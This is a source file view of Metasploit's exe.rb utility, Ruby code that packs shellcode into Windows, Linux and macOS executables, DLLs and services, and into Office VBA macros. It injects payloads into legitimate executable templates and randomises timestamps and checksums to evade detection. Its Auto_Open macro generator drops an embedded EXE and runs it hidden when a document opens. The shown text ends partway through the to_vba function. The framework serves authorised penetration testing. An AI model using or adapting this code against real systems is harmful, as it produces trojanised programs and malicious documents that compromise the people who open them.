Statistics
| Branch: | Tag: | Revision:

root / lib / msf / util / exe.rb @ master

History | View | Annotate | Download (62.6 kB)

1
##
2
# $Id$
3
##
4

    
5
###
6
#
7
# framework-util-exe
8
# --------------
9
#
10
# The class provides methods for creating and encoding executable file
11
# formats for various platforms. It is a replacement for the previous
12
# code in Rex::Text
13
#
14
###
15

    
16
module Msf
17
module Util
18
class EXE
19

    
20
require 'rex'
21
require 'rex/peparsey'
22
require 'rex/pescan'
23
require 'rex/zip'
24
require 'metasm'
25
require 'digest/sha1'
26

    
27
        ##
28
        #
29
        # Helper functions common to multiple generators
30
        #
31
        ##
32

    
33
        def self.set_template_default(opts, exe = nil, path = nil)
34
                # If no path specified, use the default one.
35
                path ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates")
36

    
37
                # If there's no default name, we must blow it up.
38
                if not exe
39
                        raise RuntimeError, 'Ack! Msf::Util::EXE.set_template_default called w/o default exe name!'
40
                end
41

    
42
                # Use defaults only if nothing is specified
43
                opts[:template_path] ||= path
44
                opts[:template] ||= exe
45

    
46
                # Only use the path when the filename contains no separators.
47
                if not opts[:template].include?(File::SEPARATOR)
48
                        opts[:template] = File.join(opts[:template_path], opts[:template])
49
                end
50

    
51
                # Check if it exists now
52
                return if File.file?(opts[:template])
53

    
54
                # If it failed, try the default...
55
                if opts[:fallback]
56
                        default_template = File.join(path, exe)
57
                        if File.file?(default_template)
58
                                # Perhaps we should warn about falling back to the default?
59
                                opts.merge!({ :fellback => default_template })
60
                                opts[:template] = default_template
61
                        end
62
                end
63
        end
64

    
65

    
66
        ##
67
        #
68
        # Executable generators
69
        #
70
        ##
71

    
72
        def self.to_executable(framework, arch, plat, code='', opts={})
73
                if (arch.index(ARCH_X86))
74

    
75
                        if (plat.index(Msf::Module::Platform::Windows))
76
                                return to_win32pe(framework, code, opts)
77
                        end
78

    
79
                        if (plat.index(Msf::Module::Platform::Linux))
80
                                return to_linux_x86_elf(framework, code)
81
                        end
82

    
83
                        if(plat.index(Msf::Module::Platform::OSX))
84
                                return to_osx_x86_macho(framework, code)
85
                        end
86

    
87
                        # XXX: Add remaining x86 systems here
88
                end
89

    
90
                if( arch.index(ARCH_X86_64) or arch.index( ARCH_X64 ) )
91
                        if (plat.index(Msf::Module::Platform::Windows))
92
                                return to_win64pe(framework, code, opts)
93
                        end
94

    
95
                        if (plat.index(Msf::Module::Platform::Linux))
96
                                return to_linux_x64_elf(framework, code, opts)
97
                        end
98

    
99
                        if (plat.index(Msf::Module::Platform::OSX))
100
                                return to_osx_x64_macho(framework, code)
101
                        end
102
                end
103

    
104
                if(arch.index(ARCH_ARMLE))
105
                        if(plat.index(Msf::Module::Platform::OSX))
106
                                return to_osx_arm_macho(framework, code)
107
                        end
108

    
109
                        if(plat.index(Msf::Module::Platform::Linux))
110
                                return to_linux_armle_elf(framework, code)
111
                        end
112

    
113
                        # XXX: Add remaining ARMLE systems here
114
                end
115

    
116
                if(arch.index(ARCH_PPC))
117
                        if(plat.index(Msf::Module::Platform::OSX))
118
                                return to_osx_ppc_macho(framework, code)
119
                        end
120
                        # XXX: Add PPC OS X and Linux here
121
                end
122
                nil
123
        end
124

    
125

    
126
        def self.to_win32pe(framework, code, opts={})
127

    
128
                # For backward compatability, this is roughly equivalent to 'exe-small' fmt
129
                if opts[:sub_method]
130
                        if opts[:inject]
131
                                raise RuntimeError, 'NOTE: using the substitution method means no inject support'
132
                        end
133

    
134
                        # use
135
                        return self.to_win32pe_exe_sub(framework, code, opts)
136
                end
137

    
138
                # Allow the user to specify their own EXE template
139
                set_template_default(opts, "template_x86_windows.exe")
140

    
141
                # Copy the code to a new RWX segment to allow for self-modifying encoders
142
                payload = win32_rwx_exec(code)
143

    
144
                # Create a new PE object and run through sanity checks
145
                endjunk = true
146
                fsize = File.size(opts[:template])
147
                pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
148
                text = nil
149
                sections_end = 0
150
                pe.sections.each do |sec|
151
                        text = sec if sec.name == ".text"
152
                        sections_end = sec.size + sec.file_offset if sec.file_offset >= sections_end
153
                        endjunk = false if sec.contains_file_offset?(fsize-1)
154
                end
155
                #also check to see if there is a certificate
156
                cert_entry = pe.hdr.opt['DataDirectory'][4]
157
                #if the cert is the only thing past the sections, we can handle.
158
                if cert_entry.v['VirtualAddress'] + cert_entry.v['Size'] >= fsize and sections_end >= cert_entry.v['VirtualAddress']
159
                        endjunk = false
160
                end
161

    
162
                #try to inject code into executable by adding a section without affecting executable behavior
163
                if(opts[:inject])
164
                        if endjunk
165
                                raise RuntimeError, "Junk at end of file. Is this a packed exe?"
166
                        end
167

    
168
                        #find first section file offset and free RVA for new section
169
                        free_rva = pe.hdr.opt.AddressOfEntryPoint
170
                        first_off = sections_end
171
                        pe.sections.each do |sec|
172
                                first_off = sec.file_offset if sec.file_offset < first_off
173
                                free_rva = sec.raw_size + sec.vma if sec.raw_size + sec.vma > free_rva
174
                        end
175
                        #align free_rva
176
                        free_rva += (pe.hdr.opt.SectionAlignment-(free_rva % pe.hdr.opt.SectionAlignment)) % pe.hdr.opt.SectionAlignment
177

    
178
                        #See if we can add a section
179
                        first_sechead_file_off = pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + pe.hdr.file.SizeOfOptionalHeader
180
                        new_sechead_file_off = first_sechead_file_off + pe.hdr.file.NumberOfSections * Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER
181
                        if new_sechead_file_off + Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER > first_off
182
                                raise RuntimeError, "Not enough room for new section header"
183
                        end
184

    
185
                        # figure out where in the new section to put the start. Right now just putting at the beginning of the new section
186
                        start_rva = free_rva
187

    
188
                        #make new section, starting at free RVA
189
                        new_sec = win32_rwx_exec_thread(code, pe.hdr.opt.AddressOfEntryPoint - start_rva)
190
                        #pad to file alignment
191
                        new_sec += "\x00" * (pe.hdr.opt.SectionAlignment-(new_sec.length % pe.hdr.opt.SectionAlignment))
192

    
193
                        #make new section header
194
                        new_sechead = Rex::PeParsey::PeBase::IMAGE_SECTION_HEADER.make_struct
195
                        new_sechead.v['Name'] = Rex::Text.rand_text_alpha(4)+"\x00"*4 # no name
196
                        new_sechead.v['Characteristics'] = 0x60000020 # READ, EXECUTE, CODE
197
                        new_sechead.v['VirtualAddress'] = free_rva
198
                        new_sechead.v['SizeOfRawData'] = new_sec.length
199
                        new_sechead.v['PointerToRawData'] = sections_end
200

    
201
                        # Create the modified version of the input executable
202
                        exe = ''
203
                        File.open(opts[:template], 'rb') { |fd|
204
                                exe = fd.read(fd.stat.size)
205
                        }
206

    
207
                        #New file header with updated number of sections and timedatestamp
208
                        new_filehead = Rex::PeParsey::PeBase::IMAGE_FILE_HEADER.make_struct
209
                        new_filehead.from_s(exe[pe.hdr.dos.e_lfanew, Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE])
210
                        new_filehead.v['NumberOfSections'] = pe.hdr.file.NumberOfSections + 1
211
                        new_filehead.v['TimeDateStamp'] = pe.hdr.file.TimeDateStamp - rand(0x1000000)
212
                        exe[pe.hdr.dos.e_lfanew, new_filehead.to_s.length] = new_filehead.to_s
213

    
214
                        #new optional header with new entry point, size of image, and size of code
215
                        new_opthead = Rex::PeParsey::PeBase::IMAGE_OPTIONAL_HEADER32.make_struct
216
                        new_opthead.from_s(exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader])
217
                        new_opthead.v['AddressOfEntryPoint'] = start_rva
218
                        new_opthead.v['SizeOfImage'] = free_rva + new_sec.length
219
                        new_opthead.v['SizeOfCode'] = pe.hdr.opt.SizeOfCode + new_sec.length
220
                        exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader] = new_opthead.to_s
221
                        #kill bound import table; if it exists, we probably overwrote it with our new section and they dont even need it anyway
222
                        exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 184, 8] = "\x00"*8
223
                        #kill certificate; if it exists, we just invalidated it
224
                        exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 128, 8] = "\x00"*8
225

    
226
                        #new section header and new section
227
                        exe[new_sechead_file_off, new_sechead.to_s.length] = new_sechead.to_s
228
                        exe[new_sechead.v['PointerToRawData'], new_sec.length] = new_sec
229
                        exe.slice!((new_sechead.v['PointerToRawData'] + new_sec.length)..-1)
230

    
231
                        cks = pe.hdr.opt.CheckSum
232
                        if(cks != 0)
233
                                exe[ exe.index([ cks ].pack('V')), 4] = [0].pack("V")
234
                        end
235

    
236
                        pe.close
237

    
238
                        return exe
239
                end
240

    
241
                if(not text)
242
                        raise RuntimeError, "No .text section found in the template"
243
                end
244

    
245
                if ! text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)
246
                        raise RuntimeError, "The .text section does not contain an entry point"
247
                end
248

    
249
                if(text.size < (payload.length + 256))
250
                        raise RuntimeError, "The .text section is too small to be usable"
251
                end
252

    
253
                # Store some useful offsets
254
                off_ent = pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint)
255
                off_beg = pe.rva_to_file_offset(text.base_rva)
256

    
257
                # We need to make sure our injected code doesn't conflict with the
258
                # the data directories stored in .text (import, export, etc)
259
                mines = []
260
                pe.hdr.opt['DataDirectory'].each do |dir|
261
                        next if dir.v['Size'] == 0
262
                        next if not text.contains_rva?( dir.v['VirtualAddress'] )
263
                        mines << [ pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg, dir.v['Size'] ]
264
                end
265

    
266
                # Break the text segment into contiguous blocks
267
                blocks = []
268
                bidx   = 0
269
                mines.sort{|a,b| a[0] <=> b[0]}.each do |mine|
270
                        bbeg = bidx
271
                        bend = mine[0]
272
                        if(bbeg != bend)
273
                                blocks << [bidx, bend-bidx]
274
                        end
275
                        bidx = mine[0] + mine[1]
276
                end
277

    
278
                # Add the ending block
279
                if(bidx < text.size - 1)
280
                        blocks << [bidx, text.size - bidx]
281
                end
282

    
283
                # Find the largest contiguous block
284
                blocks.sort!{|a,b| b[1]<=>a[1]}
285
                block = blocks[0]
286

    
287
                # TODO: Allow the entry point in a different block
288
                if(payload.length + 256 > block[1])
289
                        raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+256} found:#{block[1]})"
290
                end
291

    
292
                # Make a copy of the entire .text section
293
                data = text.read(0,text.size)
294

    
295
                # Pick a random offset to store the payload
296
                poff = rand(block[1] - payload.length - 256)
297

    
298
                # Flip a coin to determine if EP is before or after
299
                eloc = rand(2)
300
                eidx = nil
301

    
302
                # Pad the entry point with random nops
303
                entry = generate_nops(framework, [ARCH_X86], rand(200)+51)
304

    
305
                # Pick an offset to store the new entry point
306
                if(eloc == 0) # place the entry point before the payload
307
                        poff += 256
308
                        eidx = rand(poff-(entry.length + 5))
309
                else          # place the entry pointer after the payload
310
                        poff -= 256
311
                        eidx = rand(block[1] - (poff + payload.length)) + poff + payload.length
312
                end
313

    
314
                # Relative jump from the end of the nops to the payload
315
                entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')
316

    
317
                # Mangle 25% of the original executable
318
                1.upto(block[1] / 4) do
319
                        data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C")
320
                end
321

    
322
                # Patch the payload and the new entry point into the .text
323
                data[block[0] + poff, payload.length] = payload
324
                data[block[0] + eidx, entry.length]   = entry
325

    
326
                # Create the modified version of the input executable
327
                exe = ''
328
                File.open(opts[:template], 'rb') { |fd|
329
                        exe = fd.read(fd.stat.size)
330
                }
331

    
332
                exe[ exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = [ text.base_rva + block[0] + eidx ].pack("V")
333
                exe[off_beg, data.length] = data
334

    
335
                tds = pe.hdr.file.TimeDateStamp
336
                exe[ exe.index([ tds ].pack('V')), 4] = [tds - rand(0x1000000)].pack("V")
337

    
338
                cks = pe.hdr.opt.CheckSum
339
                if(cks != 0)
340
                        exe[ exe.index([ cks ].pack('V')), 4] = [0].pack("V")
341
                end
342

    
343
                pe.close
344

    
345
                exe
346
        end
347

    
348

    
349
        def self.to_win32pe_old(framework, code, opts={})
350

    
351
                # Allow the user to specify their own EXE template
352
                set_template_default(opts, "template_x86_windows_old.exe")
353

    
354
                pe = ''
355
                File.open(opts[:template], "rb") { |fd|
356
                        pe = fd.read(fd.stat.size)
357
                }
358

    
359
                if(code.length < 2048)
360
                        code << Rex::Text.rand_text(2048-code.length)
361
                end
362

    
363
                if(code.length > 2048)
364
                        raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
365
                end
366

    
367
                bo = pe.index('PAYLOAD:')
368
                raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag" if not bo
369
                pe[bo, code.length] = code
370

    
371
                pe[136, 4] = [rand(0x100000000)].pack('V')
372

    
373
                ci = pe.index("\x31\xc9" * 160)
374
                raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing first \"\\x31\\xc9\"" if not ci
375
                cd = pe.index("\x31\xc9" * 160, ci + 320)
376
                raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing second \"\\x31\\xc9\"" if not cd
377
                rc = pe[ci+320, cd-ci-320]
378

    
379
                # 640 + rc.length bytes of room to store an encoded rc at offset ci
380
                enc = encode_stub(framework, [ARCH_X86], rc, ::Msf::Module::PlatformList.win32)
381
                lft = 640+rc.length - enc.length
382

    
383
                buf = enc + Rex::Text.rand_text(640+rc.length - enc.length)
384
                pe[ci, buf.length] = buf
385

    
386
                # Make the data section executable
387
                xi = pe.index([0xc0300040].pack('V'))
388
                pe[xi,4] = [0xe0300020].pack('V')
389

    
390
                # Add a couple random bytes for fun
391
                pe << Rex::Text.rand_text(rand(64)+4)
392

    
393
                return pe
394
        end
395

    
396
        def self.to_win32pe_exe_sub(framework, code, opts={})
397

    
398
                # Allow the user to specify their own DLL template
399
                set_template_default(opts, "template_x86_windows.exe")
400

    
401
                pe = ''
402
                File.open(opts[:template], "rb") { |fd|
403
                        pe = fd.read(fd.stat.size)
404
                }
405

    
406
                bo = pe.index('PAYLOAD:')
407
                raise RuntimeError, "Invalid Win32 PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo
408
                pe[bo, 8192] = [code].pack("a8192")
409

    
410
                return pe
411
        end
412

    
413

    
414
        def self.to_win64pe(framework, code, opts={})
415

    
416
                # Allow the user to specify their own EXE template
417
                set_template_default(opts, "template_x64_windows.exe")
418

    
419
                pe = ''
420
                File.open(opts[:template], "rb") { |fd|
421
                        pe = fd.read(fd.stat.size)
422
                }
423

    
424
                bo = pe.index('PAYLOAD:')
425
                raise RuntimeError, "Invalid Win64 PE EXE template: missing \"PAYLOAD:\" tag" if not bo
426
                pe[bo, code.length] = code
427

    
428
                return pe
429
        end
430

    
431
        def self.to_win32pe_service(framework, code, opts={})
432

    
433
                name = opts[:servicename]
434

    
435
                # Allow the user to specify their own service EXE template
436
                set_template_default(opts, "template_x86_windows_svc.exe")
437

    
438
                pe = ''
439
                File.open(opts[:template], 'rb') { |fd|
440
                        pe = fd.read(fd.stat.size)
441
                }
442

    
443
                bo = pe.index('PAYLOAD:')
444
                raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo
445
                pe[bo, 8192] = [code].pack("a8192")
446

    
447
                if name
448
                        bo = pe.index('SERVICENAME')
449
                        raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
450
                        pe[bo, 11] = [name].pack('a11')
451
                end
452

    
453
                if not opts[:sub_method]
454
                        pe[136, 4] = [rand(0x100000000)].pack('V')
455
                end
456

    
457
                return pe
458
        end
459

    
460
        def self.to_win64pe_service(framework, code, opts={})
461

    
462
                name = opts[:servicename]
463

    
464
                # Allow the user to specify their own service EXE template
465
                set_template_default(opts, "template_x64_windows_svc.exe")
466

    
467
                pe = ''
468
                File.open(opts[:template], "rb") { |fd|
469
                        pe = fd.read(fd.stat.size)
470
                }
471

    
472
                bo = pe.index('PAYLOAD:')
473
                raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo
474
                pe[bo, 8192] = [code].pack("a8192")
475

    
476
                if name
477
                        bo = pe.index('SERVICENAME')
478
                        raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
479
                        pe[bo, 11] = [name].pack('a11')
480
                end
481

    
482
                if not opts[:sub_method]
483
                        pe[136, 4] = [rand(0x100000000)].pack('V')
484
                end
485

    
486
                return pe
487
        end
488

    
489
        def self.to_win32pe_dll(framework, code, opts={})
490

    
491
                # Allow the user to specify their own DLL template
492
                set_template_default(opts, "template_x86_windows.dll")
493

    
494
                pe = ''
495
                File.open(opts[:template], "rb") { |fd|
496
                        pe = fd.read(fd.stat.size)
497
                }
498

    
499
                bo = pe.index('PAYLOAD:')
500
                raise RuntimeError, "Invalid Win32 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
501
                pe[bo, 8192] = [code].pack("a8192")
502

    
503
                # optional mutex
504
                mt = pe.index('MUTEX!!!')
505
                pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
506

    
507
                return pe
508
        end
509

    
510
        def self.to_win64pe_dll(framework, code, opts={})
511

    
512
                # Allow the user to specify their own DLL template
513
                set_template_default(opts, "template_x64_windows.dll")
514

    
515
                pe = ''
516
                File.open(opts[:template], "rb") { |fd|
517
                        pe = fd.read(fd.stat.size)
518
                }
519

    
520
                bo = pe.index('PAYLOAD:')
521
                raise RuntimeError, "Invalid Win64 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
522
                pe[bo, 8192] = [code].pack("a8192")
523

    
524
                # optional mutex
525
                mt = pe.index('MUTEX!!!')
526
                pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
527

    
528
                return pe
529
        end
530

    
531
        def self.to_osx_arm_macho(framework, code, opts={})
532

    
533
                # Allow the user to specify their own template
534
                set_template_default(opts, "template_armle_darwin.bin")
535

    
536
                mo = ''
537
                File.open(opts[:template], "rb") { |fd|
538
                        mo = fd.read(fd.stat.size)
539
                }
540

    
541
                bo = mo.index('PAYLOAD:')
542
                raise RuntimeError, "Invalid OSX ArmLE Mach-O template: missing \"PAYLOAD:\" tag" if not bo
543
                mo[bo, code.length] = code
544

    
545
                return mo
546
        end
547

    
548
        def self.to_osx_ppc_macho(framework, code, opts={})
549

    
550
                # Allow the user to specify their own template
551
                set_template_default(opts, "template_ppc_darwin.bin")
552

    
553
                mo = ''
554
                File.open(opts[:template], "rb") { |fd|
555
                        mo = fd.read(fd.stat.size)
556
                }
557

    
558
                bo = mo.index('PAYLOAD:')
559
                raise RuntimeError, "Invalid OSX PPC Mach-O template: missing \"PAYLOAD:\" tag" if not bo
560
                mo[bo, code.length] = code
561

    
562
                return mo
563
        end
564

    
565
        def self.to_osx_x86_macho(framework, code, opts={})
566

    
567
                # Allow the user to specify their own template
568
                set_template_default(opts, "template_x86_darwin.bin")
569

    
570
                mo = ''
571
                File.open(opts[:template], "rb") { |fd|
572
                        mo = fd.read(fd.stat.size)
573
                }
574

    
575
                bo = mo.index('PAYLOAD:')
576
                raise RuntimeError, "Invalid OSX x86 Mach-O template: missing \"PAYLOAD:\" tag" if not bo
577
                mo[bo, code.length] = code
578

    
579
                return mo
580
        end
581

    
582
        def self.to_osx_x64_macho(framework, code, opts={})
583
                set_template_default(opts, "template_x64_darwin.bin")
584

    
585
                macho = ''
586

    
587
                File.open(opts[:template], 'rb') { |fd|
588
                        macho = fd.read(fd.stat.size)
589
                }
590

    
591
                bin = macho.index('PAYLOAD:')
592
                raise RuntimeError, "Invalid Mac OS X x86_64 Mach-O template: missing \"PAYLOAD:\" tag" if not bin
593
                macho[bin, code.length] = code
594

    
595
                return macho
596
        end
597

    
598
        #
599
        # Create a 64-bit Linux ELF containing the payload provided in +code+
600
        #
601
        def self.to_linux_x64_elf(framework, code, opts={})
602
                set_template_default(opts, "template_x64_linux.bin")
603

    
604
                elf = ''
605
                File.open(opts[:template], "rb") { |fd|
606
                        elf = fd.read(fd.stat.size)
607
                }
608

    
609
                #Append shellcode
610
                elf << code
611

    
612
                #Modify size
613
                elf[96, 8] = [120 + code.length].pack('Q')  #p_filesz
614
                elf[104,8] = [120 + code.length].pack('Q')  #p_memsz
615

    
616
                return elf
617
        end
618

    
619
        #
620
        # Create a 32-bit Linux ELF containing the payload provided in +code+
621
        #
622
        # For the default template, this method just appends the payload.  For
623
        # user-provided templates, modifies the header to mark all executable
624
        # segments as writable and overwrites the entrypoint (usually _start) with
625
        # the payload.
626
        #
627
        def self.to_linux_x86_elf(framework, code, opts={})
628
                unless opts[:template]
629
                        default = true
630
                end
631

    
632
                # Allow the user to specify their own template
633
                set_template_default(opts, "template_x86_linux.bin")
634

    
635
                # The old way to do it is like other formats, just overwrite a big
636
                # block of rwx mem with our shellcode.
637
                #bo = elf.index( "\x90\x90\x90\x90" * 1024 )
638
                #co = elf.index( " " * 512 )
639
                #elf[bo, 2048] = [code].pack('a2048') if bo
640

    
641
                if default
642
                        # The new template is just an ELF header with its entry point set to
643
                        # the end of the file, so just append shellcode to it and fixup
644
                        # p_filesz and p_memsz in the header for a working ELF executable.
645
                        elf = ''
646
                        File.open(opts[:template], "rb") { |fd|
647
                                elf = fd.read(fd.stat.size)
648
                        }
649

    
650
                        elf << code
651
                        elf[0x44,4] = [elf.length + code.length].pack('V')
652
                        elf[0x48,4] = [elf.length + code.length].pack('V')
653
                else
654
                        # If this isn't our normal template, we have to do some fancy
655
                        # header patching to mark the .text section rwx before putting our
656
                        # payload into the entry point.
657

    
658
                        # read in the template and parse it
659
                        e = Metasm::ELF.decode_file(opts[:template])
660

    
661
                        # This will become a modified copy of the template's original phdr
662
                        new_phdr = Metasm::EncodedData.new
663
                        e.segments.each { |s|
664
                                # Be lazy and mark any executable segment as writable.  Doing
665
                                # it this way means we don't have to care about which one
666
                                # contains .text
667
                                if s.flags.include? "X"
668
                                        s.flags += [ "W" ]
669
                                end
670
                                new_phdr << s.encode(e)
671
                        }
672

    
673
                        # Copy the original file
674
                        elf = File.open(opts[:template], "rb") {|fd| fd.read(fd.stat.size) }
675

    
676
                        # Replace the header with our rwx modified version
677
                        elf[e.header.phoff, new_phdr.data.length] = new_phdr.data
678

    
679
                        # Replace code at the entrypoint with our payload
680
                        entry_off = e.addr_to_off(e.label_addr('entrypoint'))
681
                        elf[entry_off, code.length] = code
682
                end
683

    
684
                return elf
685
        end
686

    
687
        def self.to_linux_armle_elf(framework, code, opts={})
688

    
689
                # Allow the user to specify their own template
690
                set_template_default(opts, "template_armle_linux.bin")
691

    
692
                elf = ''
693
                File.open(opts[:template], "rb") { |fd|
694
                        elf = fd.read(fd.stat.size)
695
                }
696

    
697
                # The template is just an ELF header with its entrypoint set to the
698
                # end of the file, so just append shellcode to it and fixup p_filesz
699
                # and p_memsz in the header for a working ELF executable.
700
                elf << code
701
                elf[0x44,4] = [elf.length + code.length].pack('V')
702
                elf[0x48,4] = [elf.length + code.length].pack('V')
703

    
704
                return elf
705
        end
706

    
707
        def self.to_exe_vba(exes='')
708
                exe = exes.unpack('C*')
709
                vba = ""
710
                idx = 0
711
                maxbytes = 2000
712

    
713
                var_magic    = Rex::Text.rand_text_alpha(10).capitalize
714
                var_base     = Rex::Text.rand_text_alpha(5).capitalize
715
                var_base_idx = 0
716

    
717
                # First write the macro into the vba file
718
                var_fname = var_base + (var_base_idx+=1).to_s
719
                var_fenvi = var_base + (var_base_idx+=1).to_s
720
                var_fhand = var_base + (var_base_idx+=1).to_s
721
                var_parag = var_base + (var_base_idx+=1).to_s
722
                var_itemp = var_base + (var_base_idx+=1).to_s
723
                var_btemp = var_base + (var_base_idx+=1).to_s
724
                var_appnr = var_base + (var_base_idx+=1).to_s
725
                var_index = var_base + (var_base_idx+=1).to_s
726
                var_gotmagic = var_base + (var_base_idx+=1).to_s
727
                var_farg = var_base + (var_base_idx+=1).to_s
728
                var_stemp = var_base + (var_base_idx+=1).to_s
729

    
730
                # Function 1 extracts the binary
731
                func_name1 = var_base + (var_base_idx+=1).to_s
732

    
733
                # Function 2 executes the binary
734
                func_name2 = var_base + (var_base_idx+=1).to_s
735

    
736
                vba << "'**************************************************************\r\n"
737
                vba << "'*\r\n"
738
                vba << "'* This code is now split into two pieces:\r\n"
739
                vba << "'*  1. The Macro. This must be copied into the Office document\r\n"
740
                vba << "'*     macro editor. This macro will run on startup.\r\n"
741
                vba << "'*\r\n"
742
                vba << "'*  2. The Data. The hex dump at the end of this output must be\r\n"
743
                vba << "'*     appended to the end of the document contents.\r\n"
744
                vba << "'*\r\n"
745
                vba << "'**************************************************************\r\n"
746
                vba << "'*\r\n"
747
                vba << "'* MACRO CODE\r\n"
748
                vba << "'*\r\n"
749
                vba << "'**************************************************************\r\n"
750

    
751
                # The wrapper makes it easier to integrate it into other macros
752
                vba << "Sub Auto_Open()\r\n"
753
                vba << "\t#{func_name1}\r\n"
754
                vba << "End Sub\r\n"
755

    
756
                vba << "Sub #{func_name1}()\r\n"
757
                vba << "\tDim #{var_appnr} As Integer\r\n"
758
                vba << "\tDim #{var_fname} As String\r\n"
759
                vba << "\tDim #{var_fenvi} As String\r\n"
760
                vba << "\tDim #{var_fhand} As Integer\r\n"
761
                vba << "\tDim #{var_parag} As Paragraph\r\n"
762
                vba << "\tDim #{var_index} As Integer\r\n"
763
                vba << "\tDim #{var_gotmagic} As Boolean\r\n"
764
                vba << "\tDim #{var_itemp} As Integer\r\n"
765
                vba << "\tDim #{var_stemp} As String\r\n"
766
                vba << "\tDim #{var_btemp} As Byte\r\n"
767
                vba << "\tDim #{var_magic} as String\r\n"
768
                vba << "\t#{var_magic} = \"#{var_magic}\"\r\n"
769
                vba << "\t#{var_fname} = \"#{Rex::Text.rand_text_alpha(rand(8)+8)}.exe\"\r\n"
770
                vba << "\t#{var_fenvi} = Environ(\"USERPROFILE\")\r\n"
771
                vba << "\tChDrive (#{var_fenvi})\r\n"
772
                vba << "\tChDir (#{var_fenvi})\r\n"
773
                vba << "\t#{var_fhand} = FreeFile()\r\n"
774
                vba << "\tOpen #{var_fname} For Binary As #{var_fhand}\r\n"
775
                vba << "\tFor Each #{var_parag} in ActiveDocument.Paragraphs\r\n"
776
                vba << "\t\tDoEvents\r\n"
777
                vba << "\t\t\t#{var_stemp} = #{var_parag}.Range.Text\r\n"
778
                vba << "\t\tIf (#{var_gotmagic} = True) Then\r\n"
779
                vba << "\t\t\t#{var_index} = 1\r\n"
780
                vba << "\t\t\tWhile (#{var_index} < Len(#{var_stemp}))\r\n"
781
                vba << "\t\t\t\t#{var_btemp} = Mid(#{var_stemp},#{var_index},4)\r\n"
782
                vba << "\t\t\t\tPut ##{var_fhand}, , #{var_btemp}\r\n"
783
                vba << "\t\t\t\t#{var_index} = #{var_index} + 4\r\n"
784
                vba << "\t\t\tWend\r\n"
785
                vba << "\t\tElseIf (InStr(1,#{var_stemp},#{var_magic}) > 0 And Len(#{var_stemp}) > 0) Then\r\n"
786
                vba << "\t\t\t#{var_gotmagic} = True\r\n"
787
                vba << "\t\tEnd If\r\n"
788
                vba << "\tNext\r\n"
789
                vba << "\tClose ##{var_fhand}\r\n"
790
                vba << "\t#{func_name2}(#{var_fname})\r\n"
791
                vba << "End Sub\r\n"
792

    
793
                vba << "Sub #{func_name2}(#{var_farg} As String)\r\n"
794
                vba << "\tDim #{var_appnr} As Integer\r\n"
795
                vba << "\tDim #{var_fenvi} As String\r\n"
796
                vba << "\t#{var_fenvi} = Environ(\"USERPROFILE\")\r\n"
797
                vba << "\tChDrive (#{var_fenvi})\r\n"
798
                vba << "\tChDir (#{var_fenvi})\r\n"
799
                vba << "\t#{var_appnr} = Shell(#{var_farg}, vbHide)\r\n"
800
                vba << "End Sub\r\n"
801

    
802
                vba << "Sub AutoOpen()\r\n"
803
                vba << "\tAuto_Open\r\n"
804
                vba << "End Sub\r\n"
805

    
806
                vba << "Sub Workbook_Open()\r\n"
807
                vba << "\tAuto_Open\r\n"
808
                vba << "End Sub\r\n"
809
                vba << "'**************************************************************\r\n"
810
                vba << "'*\r\n"
811
                vba << "'* PAYLOAD DATA\r\n"
812
                vba << "'*\r\n"
813
                vba << "'**************************************************************\r\n\r\n\r\n"
814
                vba << "#{var_magic}\r\n"
815

    
816
                # Writing the bytes of the exe to the file
817
                1.upto(exe.length) do |pc|
818
                        while(c = exe[idx])
819
                                vba << "&H#{("%.2x" % c).upcase}"
820
                                if (idx > 1 and (idx % maxbytes) == 0)
821
                                        # When maxbytes are written make a new paragrpah
822
                                        vba << "\r\n"
823
                                end
824
                                idx += 1
825
                        end
826
                end
827
                return vba
828
        end
829

    
830
        def self.to_vba(framework,code,opts={})
831
                var_myByte    = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
832
                var_myArray   = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
833
                var_rwxpage   = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
834
                var_res       = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
835
                var_offset    = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
836
                var_lpThreadAttributes = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
837
                var_dwStackSize        = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
838
                var_lpStartAddress     = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
839
